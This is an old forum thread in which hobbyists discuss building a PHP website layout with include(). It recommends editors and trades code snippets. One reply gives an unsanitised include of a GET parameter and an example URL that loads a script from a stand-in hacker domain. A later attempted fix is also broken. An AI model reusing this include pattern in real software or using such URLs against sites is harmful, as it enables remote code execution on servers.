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uzzors2k

Fri Oct 12 2007, 07:49PM

Registered Member #95 Joined: Thu Feb 09 2006, 04:57PM
Location: Norway
Posts: 1308

I'm preparing to migrate from googlepages and rebuild my website with a proper layout. I want to try php since I like the layout many php pages have. Such as the forum here, and c4r0's page for example. Basically a frame that is always present, with changing content inside. Is php the easiest/best way to go for such a layout?

Can you recommend any good editors for php? There seem to be thousands out there so I just wanted to see if anyone had a preference first. As long as it has a some kind of preview function and is freeware I'm satisfied.

Bjørn

Fri Oct 12 2007, 08:37PM

Registered Member #27 Joined: Fri Feb 03 2006, 02:20AM
Location: Hyperborea
Posts: 2058

PHP is just a programming language so alone it does not solve any problems. It just makes it possible to dynamically generate HTML pages. You still need to write the program that generates the HTML code. You can also download some free code and modify it to suite your needs.

Any text editor is good enough for PHP, one with syntax highlighting is better, if you want to spend hours and hours every day doing PHP you probably want an editor that can execute and debug PHP programs in place.

Amateur-Scientist

Fri Oct 12 2007, 11:04PM

Registered Member #1015 Joined: Fri Sept 21 2007, 06:43PM
Location:
Posts: 14

There are many languages/scripts to do websites like PHP and ASP. I like PHP and MySQL for dynamic content. Since many hosts have PHP installed, it is just a matter of using a CMS tool. Most hosts have the a CMS, forums, galleries, Mysql pre-installed for you. You can also write your own website in PHP or use a template system like Smarty. For an editor, Dreamweaver will edit PHP directly and link to your style sheets to make it wysiwyg. I also use DZsoft PHP editor.

Simon

Sat Oct 13 2007, 02:56AM

Registered Member #32 Joined: Sat Feb 04 2006, 08:58AM
Location: Australia
Posts: 549

PHP is neat. It works inline with HTML, so the source of a PHP page looks like a regular HTML source with PHP commands slotted in. These PHP commands get parsed and executed by the server, generating a pure HTML page. The end result is completely transparent to the client. The "source" of a PHP page from a browser end looks just like the source of any other page.

How would PHP help you? For the sidebar example, you could have the sidebar HTML code in a file. All of your PHP pages would have a command slotted in that dumps the sidebar code from the file. That means every page would have the same sidebar, and to edit the sidebar you'd just have to edit the one file.

ragnar

Sat Oct 13 2007, 03:26AM

Registered Member #63 Joined: Thu Feb 09 2006, 06:18AM
Location:
Posts: 1425

A great text editor to use with syntax highlighting and FTP publishing is Crimson Editor:
www.crimsoneditor.com

Try both download links, because one of them doesn't work.

For what you need to do, you won't need to learn much PHP. The include function should get you started. Make your index.php page with all the content you want, and put the menu that you'd like repeated in a separate file; e.g. sidebar.php

At the top of index.php, you can then write something like:
<?php include("http://www.yoursite.com/sidebar.php");? >
(this will just include page content, won't execute PHP or pass variables)

or even better:
<?php include("/home/youruser/public_html/sidebar.php"); ?>

c4r0

Sat Oct 13 2007, 10:59AM

Registered Member #151 Joined: Sun Feb 12 2006, 02:53PM
Location: Poland
Posts: 153

Hi! First of all i'm glad that you like my website layout

I use Notepad++ (

) to write the code. PHP is very useful and also easy if you have some experience with programming in C. All PHP code is executed on the server side and web browser gets only a HTML code generated by the PHP script. So despite using PHP you also need to write all your websites content in HTML. The SIMPLEST way to make such "frame" is to write an index.php file consisting all the static content (site logo, menu etc.) coded in HTML and different .php files for each article also coded in HTML. Then paste this php code

<?php
include($_GET["page"].".php");
?>

in index.php file, in place where the article should be displayed. Then when you type "www.../index.php?page=article" in the browser it will load the index.php layout with article.php inside. But this is only a simple example, it should be made more resistant to hacking (in this exapmle hacker can run his php script on your server by typing "http://yourdomain.com/index.php?page=http:// hackersdomain.com/thescript.php"). Hmm, i cant explain it better so you should read some tutorials or sth or wait for other replies

PHP is realy powerful and cool, you will like it :)

Steve Conner

Sat Oct 13 2007, 12:49PM

Registered Member #30 Joined: Fri Feb 03 2006, 10:52AM
Location: Glasgow, Scotland
Posts: 6706

I used a similar method to do this site:

But it would probably be better to find yourself a ready-made free open-source CMS (Content Management System) written by someone else. A full-blown CMS is a serious programming project, and it's not like nobody's done it before. I'm playing around with Wordpress just now, though it's more a blogging engine than a fully configurable CMS.

For previewing, I have a Linux server at home with PHP, Apache, MySQL and Samba installed anyway. My home directory on the Linux box appears as a Samba network drive. So I just edit source files with a text editor on my Windows machine and refresh my web browser to see the changes.

uzzors2k

Sun Oct 14 2007, 09:10PM

Registered Member #95 Joined: Thu Feb 09 2006, 04:57PM
Location: Norway
Posts: 1308

Thanks for the responses. I'll convert my content into html and try the include function then.

uzzors2k

Sun Oct 21 2007, 09:24AM

Registered Member #95 Joined: Thu Feb 09 2006, 04:57PM
Location: Norway
Posts: 1308

The code works well, but I don't like the ease of hacking. I found some code which is supposed to limit the included files to pages within the current directory, but I can't get it to work.

<?php
$page = $_GET["page"];
if ( !empty($page) && file_exists("/" . $page . ".php") && ( stristr( $page, "./" ) == False ) )
{
$file = $page . ".php";
}
else
{
$file = "SiteNews.php";
}

include $file; ?>

The problem is in the if function. The empty check works, but the other two don't. Basically I want it to limit itself to only including files within the same directory as index.php and having a .php extension. That should stop external files from being executable. Can anyone see what's wrong with the code?

Steve Conner

Sun Oct 21 2007, 12:17PM

Registered Member #30 Joined: Fri Feb 03 2006, 10:52AM
Location: Glasgow, Scotland
Posts: 6706

Yes, the paths in PHP are often absolute. They are on my server at least.

This means that your apage.php might actually be /home/uzzors/public_html/apage.php, but that if statement is looking for it in /apage.php.

There might be some system variable that gives the directory the current script is in. You could add this into the statement. Or I could be totally wrong, it's a while since I've messed with this stuff.

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